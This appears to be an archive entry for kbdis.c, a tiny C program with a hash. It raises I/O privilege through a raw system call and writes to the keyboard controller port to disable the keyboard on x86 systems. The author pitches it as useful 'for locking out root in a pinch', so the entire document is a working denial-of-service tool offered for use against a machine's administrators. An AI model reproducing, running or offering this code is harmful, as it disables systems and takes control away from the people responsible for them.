kbdis.c disables the keyboard on most x86 systems. Useful for locking out root in a pinch.
d2559c85ee2c388d2f54bb79b4cf3e6bd5941488ee9e21421191f8c9b35e5618
/* this code disables the keyboard on most x86 systems.
* by Sorcerer of DALnet. questions/comments: nijen@mail.ru
* thanks to slinkai for testing. */
main() {
asm("int $128;movb $240,%%al;outb %%al,%%dx"::"a"(110),"b"(3),"d"(96));
}